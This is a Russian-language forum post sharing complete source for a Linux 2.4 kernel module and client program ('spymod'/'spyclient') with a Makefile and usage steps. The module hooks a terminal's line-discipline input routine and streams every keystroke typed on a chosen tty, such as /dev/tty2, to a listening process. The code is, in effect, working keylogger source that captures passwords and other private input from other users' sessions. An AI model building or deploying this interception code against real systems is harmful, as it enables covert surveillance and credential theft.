Написал пока перехват через модуль. Идеи userspace перехвата ввода на терминале всё еще приветствуются, хотя я почти убедился, что это невозможно.
Если кому интересно, вот код, написанный сегодня (работает на 2.4) :
Makefile
spy:spymod spyclient
spymod: spymod.c spyinc.h
gcc -g -c spymod.c -I/lib/modules/`uname -r`/build/include
spyclient: spyclient.c spyinc.h
gcc -o spyclient spyclient.c
clean:
rm -f spymod.o spyclient
spyinc.h
/*
* Copyright (c) 2003 Murr (murrych@yandex.ru). All Rights Reserved.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it would be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* Further, this software is distributed without any warranty that it is
* free of the rightful claim of any third person regarding infringement
* or the like. Any license provided herein, whether implied or
* otherwise, applies only to this software file. Patent licenses, if
* any, provided herein do not apply to combinations of this program with
* other software, or any other product whatsoever.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write the Free Software Foundation, Inc., 59
* Temple Place - Suite 330, Boston MA 02111-1307, USA.
*
*/
#define SPYMOD_MAJOR 222
#define SPYSTREAM_MAJOR 223
#define SPYMOD_SPY_START_IOCTL 0xFEFA
#define SPYMOD_SPY_FINISH_IOCTL 0xFAFE
#define SPYMOD_MAX_SLOTS 16
#define SPYMOD_MAX_BUFS 256
typedef struct {
struct tty_struct * tty; // AP: TODO: strip this field - we can borrow it from fp anytime
struct file * fp;
void * saved_receive_routine;
pid_t listener;
} spymod_slot_t;
#include <stdio.h>
static inline int open_dev (dev_t dev, mode_t mode) {
char * str = tmpnam (NULL), * name;
int fd;
name = alloca (strlen (str)+1);
strcpy (name, str);
if (mknod (name, mode, dev) == -1)
return 0;
fd = open (name, O_RDWR);
if (fd == -1)
return 0;
unlink (name);
return fd;
}
spyclient.c
/*
* Copyright (c) 2003 Murr (murrych@yandex.ru). All Rights Reserved.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it would be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* Further, this software is distributed without any warranty that it is
* free of the rightful claim of any third person regarding infringement
* or the like. Any license provided herein, whether implied or
* otherwise, applies only to this software file. Patent licenses, if
* any, provided herein do not apply to combinations of this program with
* other software, or any other product whatsoever.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write the Free Software Foundation, Inc., 59
* Temple Place - Suite 330, Boston MA 02111-1307, USA.
*
*/
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/stat.h>
#include "spyinc.h"
volatile int ready = 1;
void usage () {
printf ("Spyclient version 1.0. Copyright (c) Murr.\n");
printf ("usage: spyclient ttydev\n\n");
}
void client_sa_handler (int unused) {
ready = 0;
}
int main (int argc, char * argv[]) {
int spymod, spystream, ttyfd;
int rc;
char buf;
sigset_t ss;
if (argc != 2) {
printf ("spyclient: invalid arguments\n");
usage ();
goto __fatal;
}
if ((spymod = open_dev (SPYMOD_MAJOR<<8+0, 0600|S_IFCHR)) == 0) {
printf ("spyclient: failed to open SPYMOD device! (is the module loaded?)\n");
usage ();
goto __fatal;
}
if ((spystream = open_dev (SPYSTREAM_MAJOR<<8+0, 0600|S_IFCHR)) == 0) {
printf ("spyclient: failed to open SPYSTREAM device! (is the module loaded?)\n");
usage ();
goto __fatal_spystream;
}
ttyfd = open (argv[1], O_RDWR);
if (ttyfd == -1) {
printf ("spyclient: failed to open tty '%s'!\n", argv[1]);
usage ();
goto __fatal_tty;
}
if (!isatty (ttyfd)) {
printf ("spyclient: '%s' is not a tty!\n", argv[1]);
usage ();
goto __fatal_other;
}
rc = ioctl (spymod, SPYMOD_SPY_START_IOCTL, ttyfd);
if (rc == -1) {
printf ("spyclient: failed attach to SPYMOD stream!\n");
usage ();
goto __fatal_other;
}
sigemptyset (&ss);
sigaction (SIGINT, &(const struct sigaction){.sa_handler = client_sa_handler, .sa_mask = ss, .sa_flags = SA_ONESHOT}, NULL);
while (ready) {
read (spystream, &buf, 1);
printf ("'%c'(%x) ", isprint(buf)?buf:' ', (short)buf);
fflush (stdout);
}
if (ioctl (spymod, SPYMOD_SPY_FINISH_IOCTL, ttyfd) != -1)
printf ("\nspyclient: successfully detached... Have a nice day!\n");
else printf ("\nspyclient: failed to detach from SPYMOD stream! Please contact author!\n");
__fatal_other:
close (ttyfd);
__fatal_tty:
close (spystream);
__fatal_spystream:
close (spymod);
__fatal:
return 1;
}
spymod.c
/*
* Copyright (c) 2003 Murr (murrych@yandex.ru). All Rights Reserved.
*
* This program is free software; you can redistribute it and/or modify it
* under the terms of version 2 of the GNU General Public License as
* published by the Free Software Foundation.
*
* This program is distributed in the hope that it would be useful, but
* WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* Further, this software is distributed without any warranty that it is
* free of the rightful claim of any third person regarding infringement
* or the like. Any license provided herein, whether implied or
* otherwise, applies only to this software file. Patent licenses, if
* any, provided herein do not apply to combinations of this program with
* other software, or any other product whatsoever.
*
* You should have received a copy of the GNU General Public License along
* with this program; if not, write the Free Software Foundation, Inc., 59
* Temple Place - Suite 330, Boston MA 02111-1307, USA.
*
*/
#define __KERNEL__
#define MODULE
#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/init.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/fs.h>
#include <linux/file.h>
#include <linux/errno.h>
#include <asm/uaccess.h>
#include "spyinc.h"
spymod_slot_t slots[SPYMOD_MAX_SLOTS] = {[0 ... SPYMOD_MAX_SLOTS-1] = {0, 0, 0, 0}};
unsigned char spybuf[SPYMOD_MAX_SLOTS][SPYMOD_MAX_BUFS];
unsigned int spybuflen[SPYMOD_MAX_SLOTS] = {[0 ... SPYMOD_MAX_SLOTS-1] = 0};
spinlock_t spybuflock = SPIN_LOCK_UNLOCKED;
static int spydev_acquire_slot () {
int i;
for (i=0; i<SPYMOD_MAX_SLOTS; i++)
if (slots[i].tty == NULL)
return i;
return -1;
}
static int spydev_is_spyed (struct tty_struct * tty) {
int i;
for (i=0; i<SPYMOD_MAX_SLOTS; i++)
if (slots[i].tty == tty) return 1;
return 0;
}
static void spydev_release_slot (int slot_num) {
MOD_DEC_USE_COUNT;
slots[slot_num].tty->ldisc.receive_buf = slots[slot_num].saved_receive_routine;
slots[slot_num].tty = NULL;
fput (slots[slot_num].fp);
}
static int spydev_current_listener (pid_t pid) {
int i;
for (i=0; i<SPYMOD_MAX_SLOTS; i++)
if (slots[i].tty && slots[i].listener == pid)
return i;
return -1;
}
static void spymod_hook_receive_buf(struct tty_struct *tty, const unsigned char *cp, char *fp, int count)
{
int slot, to_copy;
int listener;
unsigned long cpuflags;
void (*receive_buf)(struct tty_struct *, const unsigned char *, char *, int) = NULL;
spin_lock (&spybuflock);
spin_lock_irqsave(&tty->read_lock, cpuflags);
for (slot=0; slot<SPYMOD_MAX_SLOTS; slot++)
if (slots[slot].tty == tty) break;
if (slot == SPYMOD_MAX_SLOTS) goto not_spyed;
listener = slots[slot].listener;
receive_buf = slots[slot].saved_receive_routine;
to_copy = SPYMOD_MAX_BUFS - spybuflen[slot];
if (count < to_copy) to_copy = count;
memcpy (spybuf[slot]+spybuflen[slot], cp, to_copy);
spybuflen[slot] += to_copy;
not_spyed:
spin_unlock_irqrestore(&tty->read_lock, cpuflags);
spin_unlock (&spybuflock);
if (unlikely (to_copy == 0)) {
/* AP: Check if the buffer overrun occured and the client has exited disgracefully */
read_lock (&tasklist_lock);
if (find_task_by_pid (listener) == NULL) {
printk ("spymod: unexpected client exit!\n");
spydev_release_slot (slot);
}
read_unlock (&tasklist_lock);
}
if (receive_buf)
receive_buf (tty, cp, fp, count);
}
static int spymod_spy_start (int fd) {
int slot;
struct file * fp;
struct tty_struct * tty;
fp = fget (fd);
tty = (struct tty_struct *)fp->private_data;
#warning we have to check if it is really tty
slot = spydev_acquire_slot ();
if (slot == -1) {
fput (fp);
return -ENXIO;
}
if (spydev_current_listener (current->pid) != -1) {
fput (fp);
return -EBUSY;
}
if (spydev_is_spyed (tty)) {
fput (fp);
return -EBUSY;
}
MOD_INC_USE_COUNT;
slots[slot].tty = tty;
slots[slot].saved_receive_routine = tty->ldisc.receive_buf;
slots[slot].listener = current->pid;
slots[slot].fp = fp;
tty->ldisc.receive_buf = spymod_hook_receive_buf;
return 0;
}
static int spymod_spy_finish (int unused) {
int slot = spydev_current_listener (current->pid);
if (slot == -1) {
return -EINVAL;
}
spydev_release_slot (slot);
return 0;
}
static int spydev_ioctl (struct inode *ip, struct file *fp, unsigned int cmd, unsigned long fd) {
switch (cmd) {
case SPYMOD_SPY_START_IOCTL: return spymod_spy_start (fd);
case SPYMOD_SPY_FINISH_IOCTL: return spymod_spy_finish (fd);
default:;
}
return -EINVAL;
}
static ssize_t spystream_read (struct file *f, char * buf, size_t n, loff_t * pos) {
int slot = spydev_current_listener (current->pid);
int to_copy;
if (slot == -1) return -ENXIO;
again:
spin_lock (&spybuflock);
to_copy = n>spybuflen[slot]?spybuflen[slot]:n;
if (to_copy == 0) {
spin_unlock (&spybuflock);
schedule ();
if (signal_pending (current))
return -EINTR;
goto again;
}
if (copy_to_user (buf, spybuf[slot], to_copy)) {
spin_unlock (&spybuflock);
return -EFAULT;
}
memmove (spybuf[slot]+to_copy, spybuf[slot], spybuflen[slot]-to_copy);
spybuflen[slot] -= to_copy;
*pos += to_copy;
spin_unlock (&spybuflock);
return to_copy;
}
struct file_operations spymod_fops = {
.ioctl = spydev_ioctl
};
struct file_operations spystream_fops = {
.read = spystream_read
};
int spymod_init () {
if (register_chrdev (SPYMOD_MAJOR, "spydev", &spymod_fops) != 0 ||
register_chrdev (SPYSTREAM_MAJOR, "spystream", &spystream_fops) != 0) {
printk ("SPYMOD: failed to register spy devices!\n");
return -EBUSY;
}
printk ("SPYMOD module version 1.0 loaded.\n");
return 0;
}
void spymod_exit () {
if (unregister_chrdev (SPYMOD_MAJOR, "spydev") != 0 ||
unregister_chrdev (SPYSTREAM_MAJOR, "spystream") != 0) {
printk ("SPYMOD: failed to unregister spy devices! Please contact author!\n");
}
printk ("SPYMOD module unloaded.");
}
module_init (spymod_init);
module_exit (spymod_exit);
MODULE_LICENSE ("GPL");
Всё собирается третьим gcc, потом засовывается модуль:
insmod ./spymod.o
Потом ловим ввод:
./spyclient /dev/tty2